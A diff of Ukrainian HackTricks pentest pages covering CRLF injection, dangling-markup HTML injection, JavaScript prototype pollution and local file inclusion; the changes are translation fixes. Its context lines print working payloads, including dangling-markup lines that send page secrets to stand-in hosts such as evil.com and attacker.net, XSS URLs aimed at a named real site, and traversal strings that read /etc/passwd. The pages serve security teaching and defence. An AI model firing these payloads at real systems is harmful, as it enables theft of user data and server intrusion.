@ -2,15 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
Перенос каретки (CR) та переведення рядка (LF), разом відомі як CRLF, є спеціальними послідовностями символів, які використовуються в протоколі HTTP для позначення кінця рядка або початку нового. Веб-сервери та браузери використовують CRLF для розрізнення між HTTP-заголовками та тілом відповіді. Ці символи універсально використовуються в комунікаціях HTTP/1.1 на різних типах веб-серверів, таких як Apache та Microsoft IIS.
### CRLF Injection Vulnerability
Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших зловмисних дій.
Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших шкідливих дій.
### Example: CRLF Injection in a Log File
@ -31,20 +29,20 @@ IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Атакуючий таким чином маскує свої зловмисні дії, змушуючи виглядати так, ніби localhost (суб'єкт, як правило, довірений у середовищі сервера) виконує ці дії. Сервер інтерпретує частину запиту, що починається з `%0d%0a`, як один параметр, тоді як параметр `restrictedaction` розглядається як інший, окремий вхід. Маніпульований запит ефективно імітує легітимну адміністративну команду: `/index.php?page=home&restrictedaction=edit`
Атакуючий таким чином маскує свої зловмисні дії, змушуючи виглядати так, ніби localhost (суб'єкт, як правило, довірений у середовищі сервера) виконує ці дії. Сервер інтерпретує частину запиту, що починається з `%0d%0a`, як один параметр, тоді як параметр `restrictedaction` розбирається як інший, окремий вхід. Маніпульований запит ефективно імітує легітимну адміністративну команду: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### Опис
HTTP Response Splitting - це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, що складається з Carriage Return (CR), за яким слідує Line Feed (LF), що разом називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема до Cross-site Scripting (XSS).
HTTP Response Splitting - це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, Carriage Return (CR), за яким слідує Line Feed (LF), що разом називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема Cross-site Scripting (XSS).
#### XSS через HTTP Response Splitting
1. Додаток встановлює користувацький заголовок, наприклад: `X-Custom-Header: UserInput`
1. Додаток встановлює власний заголовок, наприклад: `X-Custom-Header: UserInput`
2. Додаток отримує значення для `UserInput` з параметра запиту, скажімо, "user_input". У сценаріях, де відсутня належна валідація та кодування вхідних даних, атакуючий може створити корисне навантаження, яке містить послідовність CRLF, за якою слідує зловмисний вміст.
3. Атакуючий створює URL з особливо підготовленим 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- У цьому URL, `%0d%0a%0d%0a` є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер розглядати наступну частину як тіло відповіді.
- У цьому URL, `%0d%0a%0d%0a` є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер сприймати наступну частину як тіло відповіді.
4. Сервер відображає введення атакуючого в заголовку відповіді, що призводить до ненавмисної структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.
#### Приклад HTTP Response Splitting, що призводить до перенаправлення
@ -70,9 +68,9 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Перегляньте більше прикладів за адресою:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### Впровадження HTTP заголовків
@ -84,7 +82,7 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
#### SSRF та ін'єкція HTTP запитів через CRLF
CRLF ін'єкція може бути використана для створення та вставки абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі `SoapClient` PHP, зокрема в параметрі `user_agent`. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть повністю ін'єктувати новий HTTP запит. Нижче наведено приклад PHP, що демонструє цю експлуатацію:
CRLF ін'єкція може бути використана для створення та вставки абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі PHP `SoapClient`, зокрема в параметрі `user_agent`. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть повністю ін'єктувати новий HTTP запит. Нижче наведено приклад PHP, що демонструє цю експлуатацію:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -125,7 +123,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з залишковим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад:
2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з кінцевим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@ -141,7 +139,7 @@ Memcache є **сховищем ключ-значення, яке викорис
Якщо платформа бере **дані з HTTP запиту і використовує їх без очищення** для виконання **запитів** до **memcache** сервера, зловмисник може зловживати цією поведінкою, щоб **впроваджувати нові команди memcache**.
Наприклад, у виявленій уразливості ключі кешу використовувалися для повернення IP-адреси та порту, до яких користувач повинен підключитися, і зловмисники змогли **впроваджувати команди memcache**, які **отруювали** **кеш, щоб надсилати деталі жертв** (включаючи імена користувачів та паролі) на сервери зловмисника:
Наприклад, у виявленій уразливості, ключі кешу використовувалися для повернення IP-адреси та порту, до яких користувач повинен підключитися, і зловмисники змогли **впроваджувати команди memcache**, які **отруювали** **кеш, щоб надсилати деталі жертв** (включаючи імена користувачів та паролі) на сервери зловмисника:
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
@ -155,7 +153,7 @@ Memcache є **сховищем ключ-значення, яке викорис
1. **Уникати прямого введення користувача в заголовках відповіді:** Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді.
2. **Кодувати спеціальні символи:** Якщо уникнути прямого введення користувача неможливо, обов'язково використовуйте функцію, призначену для кодування спеціальних символів, таких як CR (Carriage Return) і LF (Line Feed). Ця практика запобігає можливості ін'єкції CRLF.
3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків.
3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, призначених для встановлення HTTP заголовків.
### CHEATSHEET
@ -197,6 +195,4 @@ Memcache є **сховищем ключ-значення, яке викорис
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,13 +5,13 @@
## Резюме
Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/), але можете **впровадити деякі HTML-теги**.\
Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деякого скрипта.
Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деяких скриптів.
Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета-теги, форми, base...).
Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета теги, форми, base...).
## Основні застосування
### Вкрадання секретів у відкритому тексті
### Вкрадення секретів у відкритому тексті
Якщо ви впровадите `<img src='http://evil.com/log.cgi?` під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом `img` і наступною лапкою всередині коду. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання).
@ -55,13 +55,13 @@ steal me'<b>test</b>
I get consumed!
</button>
```
Зловмисник може використовувати це для викрадення інформації.
Зловмисник може використовувати це для крадіжки інформації.
Знайдіть [**приклад цього нападу в цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Викрадення відкритих текстових секретів 2
### Крадіжка відкритих текстових секретів 2
Використовуючи останньо згадану техніку для викрадення форм (інжекція нового заголовка форми), ви можете потім інжектувати нове поле введення:
Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:
```html
<input type='hidden' name='review_body' value="
```
@ -73,7 +73,7 @@ I get consumed!
```
### Впровадження параметрів форми
Ви можете змінити шлях форми та вставити нові значення, щоб виконати неочікувану дію:
Ви можете змінити шлях форми та вставити нові значення, щоб виконати несподівану дію:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
@ -90,13 +90,13 @@ I get consumed!
`<noscript></noscript>` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкція цього:
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкцією цього:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Обхід CSP з взаємодією користувача
З цього [дослідження portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) ви можете дізнатися, що навіть з **найбільш обмежених** середовищ CSP ви все ще можете **екстрагувати дані** з деякою **взаємодією користувача**. У цьому випадку ми будемо використовувати корисне навантаження:
З цього [дослідження portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) ви можете дізнатися, що навіть з **найбільш обмежених** середовищ CSP ви все ще можете **екстрагувати дані** з деякою **взаємодією користувача**. У цьому випадку ми будемо використовувати payload:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Оманливий робочий процес скриптів 2 - Атака на простір імен скриптів
### Оманливий сценарій робочого процесу 2 - Атака на простір імен сценарію
Створіть змінні всередині простору імен javascript, вставляючи HTML теги. Потім ця змінна вплине на потік програми:
```html
@ -148,7 +148,7 @@ set_sharing({ ... })
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Зловживання iframe
### Зловживання Iframe
Дочірній документ має можливість переглядати та змінювати властивість `location` свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у **iframe**, який може перенаправити клієнта на довільну сторінку:
```html
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
```
Це можна пом'якшити за допомогою чогось на кшталт: `sandbox=' allow-scripts allow-top-navigation'`
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що змушує **чутливу інформацію з'являтися всередині атрибута імені iframe**, а потім отримати доступ до цього імені з початкового iframe і витікати його.
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що робить **чутливу інформацію видимою в атрибуті імені iframe**, а потім отримати це ім'я з початкового iframe і витекти його.
```html
<script>
function cspBypass(win) {
@ -176,7 +176,7 @@ setTimeout(() => alert(win[0].name), 500)
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
Для отримання додаткової інформації перегляньте [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
Для отримання додаткової інформації перевірте [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta зловживання
@ -187,13 +187,13 @@ onload="cspBypass(this.contentWindow)"></iframe>
### Новий \<portal HTML тег
Ви можете знайти дуже **цікаве дослідження** про вразливості, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\
На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome за адресою `chrome://flags/#enable-portals`, інакше він не працюватиме.
На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome в `chrome://flags/#enable-portals`, інакше він не працюватиме.
```html
<portal src='https://attacker-server?
```
### HTML Leaks
Не всі способи витоку з'єднання в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Не всі способи витоку з'єднання в HTML будуть корисними для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search орієнтовані на **екстракцію інформації з крос-доменів**, зловживаючи **бічними атаками**. Тому це інша техніка, ніж Dangling Markup, однак деякі з технік зловживають включенням HTML тегів (з виконанням JS і без), як [**CSS Injection**](../xs-search/#css-injection) або [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search орієнтовані на **екстракцію інформації з крос-доменів**, зловживаючи **бічними каналами атак**. Тому це інша техніка, ніж Dangling Markup, однак деякі з технік зловживають включенням HTML тегів (з виконанням JS і без), як [**CSS Injection**](../xs-search/#css-injection) або [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/
@ -213,7 +213,9 @@ XS-Search орієнтовані на **екстракцію інформаці
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## References

View File

@ -4,7 +4,7 @@
## Об'єкти в JavaScript <a href="#id-053a" id="id-053a"></a>
Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою `Object.create` з `null` як аргументом для отримання порожнього об'єкта. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.
Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою `Object.create` з `null` як аргументом, щоб отримати порожній об'єкт. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
@ -41,13 +41,13 @@ JavaScript дозволяє модифікацію, додавання або в
У програмуванні на основі прототипів властивості/методи успадковуються об'єктами від класів. Ці класи створюються шляхом додавання властивостей/методів або до екземпляра іншого класу, або до порожнього об'єкта.
Слід зазначити, що коли властивість додається до об'єкта, що служить прототипом для інших об'єктів (таких як `myPersonObj`), успадковуючі об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.
Слід зазначити, що коли властивість додається до об'єкта, який слугує прототипом для інших об'єктів (таких як `myPersonObj`), успадковуючі об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.
## \_\_proto\_\_ забруднення <a href="#id-0d0a" id="id-0d0a"></a>
## Дослідження забруднення прототипу в JavaScript
Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу об'єкта може вплинути на всі об'єкти в середовищі.
Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу Object може вплинути на всі об'єкти в середовищі.
Давайте використаємо інший приклад для ілюстрації:
```javascript
@ -76,9 +76,9 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## забруднення прототипу
## prototype pollution
У сценарії, де використання `__proto__` обмежено, модифікація прототипу функції є альтернативою:
У сценарії, де використання `__proto__` обмежене, модифікація прототипу функції є альтернативою:
```javascript
function Vehicle(model) {
this.model = model
@ -156,7 +156,7 @@ c[1] // 2 -- not
```
### Забруднення HTML елементів
Коли генерується HTML елемент за допомогою JS, можливо **перезаписати** атрибут **`innerHTML`**, щоб він міг записувати **произвольний HTML код.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Коли генерується HTML елемент за допомогою JS, можливо **перезаписати** атрибут **`innerHTML`**, щоб він записував **произвольний HTML код.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -183,7 +183,7 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Механізм, що стоїть за цим, полягає в маніпулюванні властивостями так, що якщо зловмисник контролює певні вхідні дані, він може змінити прототип усіх об'єктів у додатку. Ця маніпуляція зазвичай включає встановлення властивості `__proto__`, яка в JavaScript є синонімом безпосередньої зміни прототипу об'єкта.
Механізм, що стоїть за цим, полягає в маніпулюванні властивостями так, що якщо зловмисник контролює певні вхідні дані, він може змінити прототип усіх об'єктів в додатку. Ця маніпуляція зазвичай включає встановлення властивості `__proto__`, яка в JavaScript є синонімом безпосередньої зміни прототипу об'єкта.
Умови, за яких ця атака може бути успішно виконана, як зазначено в конкретному [дослідженні](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), включають:
@ -191,27 +191,27 @@ user.isAdmin // true
- Визначення властивостей на основі шляху.
- Клонування об'єктів.
### Функція перевизначення
### Override function
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Прототипне забруднення до RCE
### Proto Pollution to RCE
{{#ref}}
prototype-pollution-to-rce.md
{{#endref}}
Інші пейлоади:
Інші payloads:
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Забруднення прототипу на стороні клієнта до XSS
## Client-side prototype pollution to XSS
{{#ref}}
client-side-prototype-pollution.md
{{#endref}}
### CVE-201911358: Атака прототипного забруднення через jQuery $ .extend
### CVE-201911358: Атака на прототипне забруднення через jQuery $ .extend
[Для отримання додаткової інформації перегляньте цю статтю](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) У jQuery функція `$ .extend` може призвести до прототипного забруднення, якщо функцію глибокого копіювання використовувати неправильно. Ця функція зазвичай використовується для клонування об'єктів або об'єднання властивостей з об'єкта за замовчуванням. Однак, при неправильній конфігурації, властивості, призначені для нового об'єкта, можуть бути призначені прототипу замість цього. Наприклад:
```javascript
@ -228,7 +228,9 @@ console.log({}.devMode) // Outputs: true
### Інший посібник з CVE
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### Інструменти для виявлення забруднення прототипу
@ -237,17 +239,17 @@ console.log({}.devMode) // Outputs: true
### AST Забруднення прототипу в NodeJS
NodeJS широко використовує Абстрактні Синтаксичні Дерева (AST) в JavaScript для функціональностей, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані із забрудненням прототипу в шаблонних двигунах, зокрема Handlebars і Pug.
NodeJS широко використовує абстрактні синтаксичні дерева (AST) в JavaScript для функцій, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані із забрудненням прототипу в шаблонних двигунах, зокрема Handlebars і Pug.
#### Аналіз вразливості Handlebars
Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає з конкретних функцій у файлі `javascript-compiler.js`. Функція `appendContent`, наприклад, конкатенує `pendingContent`, якщо він присутній, тоді як функція `pushSource` скидає `pendingContent` на `undefined` після додавання джерела.
Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає через специфічні функції в файлі `javascript-compiler.js`. Функція `appendContent`, наприклад, конкатенує `pendingContent`, якщо він присутній, тоді як функція `pushSource` скидає `pendingContent` на `undefined` після додавання джерела.
**Процес експлуатації**
Експлуатація використовує AST (Абстрактне Синтаксичне Дерево), створене Handlebars, дотримуючись цих кроків:
Експлуатація використовує AST (абстрактне синтаксичне дерево), створене Handlebars, дотримуючись цих кроків:
1. **Маніпуляція парсером**: Спочатку парсер, через вузол `NumberLiteral`, забезпечує, щоб значення були числовими. Забруднення прототипу може обійти це, дозволяючи вставку нечислових рядків.
1. **Маніпуляція парсером**: Спочатку парсер, через вузол `NumberLiteral`, вимагає, щоб значення були числовими. Забруднення прототипу може обійти це, дозволяючи вставку нечислових рядків.
2. **Обробка компілятором**: Компілятор може обробляти об'єкт AST або шаблон рядка. Якщо `input.type` дорівнює `Program`, вхідні дані обробляються як попередньо розібрані, що може бути використано в експлуатації.
3. **Впровадження коду**: Через маніпуляцію `Object.prototype` можна впровадити довільний код у функцію шаблону, що може призвести до віддаленого виконання коду.
@ -313,7 +315,7 @@ requests.get(TARGET_URL)
```
#### Уразливість Pug
Pug, ще один движок шаблонів, стикається з подібним ризиком забруднення прототипу. Докладну інформацію можна знайти в обговоренні на [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Pug, ще один движок шаблонів, стикається з подібним ризиком забруднення прототипу. Детальна інформація доступна в обговоренні про [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Приклад забруднення прототипу в Pug:
```python
@ -341,12 +343,12 @@ requests.get(TARGET_URL)
3. **Безпечні функції злиття**: Слід уникати небезпечного використання рекурсивних функцій злиття.
4. **Об'єкти без прототипу**: Об'єкти без властивостей прототипу можна створити за допомогою `Object.create(null)`.
5. **Використання Map**: Замість `Object` слід використовувати `Map` для зберігання пар ключ-значення.
6. **Оновлення бібліотек**: Слід регулярно оновлювати бібліотеки, щоб включати патчі безпеки.
7. **Інструменти для лінтингу та статичного аналізу**: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу.
8. **Огляди коду**: Реалізуйте ретельні огляди коду, щоб виявити та усунути потенційні ризики, пов'язані із забрудненням прототипу.
6. **Оновлення бібліотек**: Безпекові патчі можна впроваджувати шляхом регулярного оновлення бібліотек.
7. **Інструменти лінтингу та статичного аналізу**: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу.
8. **Огляди коду**: Реалізуйте ретельні огляди коду для виявлення та усунення потенційних ризиків, пов'язаних із забрудненням прототипу.
9. **Навчання з безпеки**: Освіжайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.
10. **Обережне використання бібліотек**: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпеку та перегляньте їх код, особливо ті, що маніпулюють об'єктами.
11. **Захист під час виконання**: Використовуйте механізми захисту під час виконання, такі як безпекові npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.
10. **Обережне використання бібліотек**: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпекову позицію та перегляньте їх код, особливо ті, що маніпулюють об'єктами.
11. **Захист під час виконання**: Використовуйте механізми захисту під час виконання, такі як безпеково орієнтовані npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.
## Посилання

View File

@ -21,23 +21,27 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**Змішуючи кілька списків LFI для \*nix і додаючи більше шляхів, я створив цей:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Спробуйте також змінити `/` на `\`\
Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Злиття різних списків слів:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Спробуйте також змінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -45,7 +49,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
## Основний LFI та обходи
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Всі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -65,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **Кодування**
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
Ви можете використовувати нестандартні кодування, такі як подвоєне URL-кодування (та інші):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -92,10 +96,10 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
